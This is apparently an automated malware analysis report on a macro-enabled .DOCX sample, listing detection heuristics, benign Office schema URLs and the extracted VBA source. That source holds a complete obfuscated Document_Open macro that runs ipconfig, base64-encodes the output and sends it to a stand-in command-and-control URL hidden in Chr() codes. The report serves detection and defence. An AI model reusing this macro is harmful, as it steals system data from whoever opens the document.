Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 b0d56ab3a8c966cb…

MALICIOUS

Office (OOXML) / .DOCX

19.1 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-18
MD5: b642ff6f21d217b09f1e25121cc01d7a SHA-1: e47b0e1dc71e0568143709ac88d4af08879399ba SHA-256: b0d56ab3a8c966cb0f6fc20b4141666ebf96c22bf69e726ee990a791107bba86
230 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell As Object
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Dim shell As Object
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3171 bytes
SHA-256: 149b34b4f340bd9c5fbb3a7caf357f70f1c45d40557df661d8f4fbec67803254
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim shell As Object
    Dim command As String
    Dim output As String
    Dim encodedOutput As String
    Dim http As Object
    Dim c2Server As String
    
    ' Initialize WScript.Shell object
    Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
    
    ' Command to execute ipconfig
    command = Chr(105) & Chr(112) & Chr(99) & Chr(111) & Chr(110) & Chr(102) & Chr(105) & Chr(103)
    
    ' Execute command and capture output
    output = shell.Exec(command).StdOut.ReadAll
    
    ' Base64 encode the output
    encodedOutput = EncodeBase64(output)
    
    ' C2 server URL
    c2Server = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(101) & Chr(120) & Chr(97) & Chr(109) & Chr(112) & Chr(108) & Chr(101) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(99) & Chr(50) & Chr(63) & Chr(100) & Chr(97) & Chr(116) & Chr(97) & Chr(61)
    
    ' Initialize MSXML2.XMLHTTP object
    Set http = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80))
    
    ' Send HTTP GET request with encoded data
    http.Open Chr(71) & Chr(69) & Chr(84), c2Server & encodedOutput, False
    http.Send
End Sub

Function EncodeBase64(ByVal strInput As String) As String
    Dim xmlDoc As Object
    Dim xmlNode As Object
    Dim adoStream As Object
    
    ' Create XML document and node
    Set xmlDoc = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(68) & Chr(79) & Chr(77) & Chr(68) & Chr(68) & Chr(111) & Chr(99) & Chr(117) & Chr(109) & Chr(101) & Chr(110) & Chr(116))
    Set xmlNode = xmlDoc.createElement(Chr(98) & Chr(97) & Chr(115) & Chr(101) & Chr(54) & Chr(52))
    
    ' Create ADODB stream
    Set adoStream = CreateObject(Chr(65) & Chr(68) & Chr(79) & Chr(68) & Chr(66) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109))
    adoStream.Type = 1 ' adTypeBinary
    
    ' Write string to stream
    adoStream.Open
    adoStream.WriteText strInput
    adoStream.Position = 0
    adoStream.Type = 0 ' adTypeText
    adoStream.Charset = Chr(85) & Chr(84) & Chr(70) & Chr(45) & Chr(56)
    adoStream.Position = 3 ' Skip BOM
    
    ' Read binary data from stream
    adoStream.Type = 1 ' adTypeBinary
    xmlNode.DataType = Chr(98) & Chr(105) & Chr(110) & Chr(46) & Chr(98) & Chr(97) & Chr(115) & Chr(101) & Chr(54) & Chr(52)
    xmlNode.NodeTypedValue = adoStream.Read
    
    ' Get base64 encoded string
    EncodeBase64 = xmlNode.Text
    
    ' Clean up
    adoStream.Close
    Set adoStream = Nothing
    Set xmlNode = Nothing
    Set xmlDoc = Nothing
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 520327fa8f659d9b66e28ed08daff42c57204554a60c9f1799a893cb74b04e92

Open this report in the interactive analyzer, or submit your own file for analysis.